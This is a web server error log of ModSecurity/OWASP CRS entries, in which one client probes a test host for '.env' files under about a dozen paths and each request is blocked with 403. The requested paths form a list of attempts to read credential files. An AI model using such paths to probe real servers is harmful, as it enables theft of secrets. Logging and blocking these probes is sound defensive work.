[Thu Feb 26 01:03:10.520357 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /micro-app-react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzwAAAAM&quot;]
[Thu Feb 26 01:03:10.520628 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzwAAAAM&quot;]
[Thu Feb 26 01:03:10.520813 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/micro-app-react/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEkzwAAAAM&quot;]
[Thu Feb 26 01:03:10.578185 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mindsweeper/gui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0AAAAAM&quot;]
[Thu Feb 26 01:03:10.578642 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0AAAAAM&quot;]
[Thu Feb 26 01:03:10.578910 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mindsweeper/gui/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0AAAAAM&quot;]
[Thu Feb 26 01:03:10.602144 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /minified/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0QAAAAM&quot;]
[Thu Feb 26 01:03:10.602463 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0QAAAAM&quot;]
[Thu Feb 26 01:03:10.602652 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/minified/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0QAAAAM&quot;]
[Thu Feb 26 01:03:10.603116 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /manual/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PuQAAAAU&quot;]
[Thu Feb 26 01:03:10.603372 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PuQAAAAU&quot;]
[Thu Feb 26 01:03:10.603539 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/manual/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PuQAAAAU&quot;]
[Thu Feb 26 01:03:10.631827 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /misc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0gAAAAM&quot;]
[Thu Feb 26 01:03:10.632078 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0gAAAAM&quot;]
[Thu Feb 26 01:03:10.632303 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/misc/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0gAAAAM&quot;]
[Thu Feb 26 01:03:10.644136 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /master/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PugAAAAU&quot;]
[Thu Feb 26 01:03:10.644391 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PugAAAAU&quot;]
[Thu Feb 26 01:03:10.644564 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/master/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PugAAAAU&quot;]
[Thu Feb 26 01:03:10.657640 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /modix/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0wAAAAM&quot;]
[Thu Feb 26 01:03:10.657880 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0wAAAAM&quot;]
[Thu Feb 26 01:03:10.658049 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Modix/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk0wAAAAM&quot;]
[Thu Feb 26 01:03:10.687016 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /monerod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1AAAAAM&quot;]
[Thu Feb 26 01:03:10.687249 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1AAAAAM&quot;]
[Thu Feb 26 01:03:10.687402 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/monerod/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1AAAAAM&quot;]
[Thu Feb 26 01:03:10.693696 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /media/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PuwAAAAU&quot;]
[Thu Feb 26 01:03:10.693924 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PuwAAAAU&quot;]
[Thu Feb 26 01:03:10.694098 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/media/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PuwAAAAU&quot;]
[Thu Feb 26 01:03:10.722758 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /memcached/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvAAAAAU&quot;]
[Thu Feb 26 01:03:10.722979 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvAAAAAU&quot;]
[Thu Feb 26 01:03:10.723149 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/memcached/.env&quot;] [unique_id &quot;aZ-Nvik1SHHL9bIjTI-PvAAAAAU&quot;]
[Thu Feb 26 01:03:10.735225 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /mongodb/config/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1QAAAAM&quot;]
[Thu Feb 26 01:03:10.735463 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1QAAAAM&quot;]
[Thu Feb 26 01:03:10.735657 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mongodb/config/dev/.env&quot;] [unique_id &quot;aZ-Nvg3HqGC30X9HPoEk1QAAAAM&quot;]
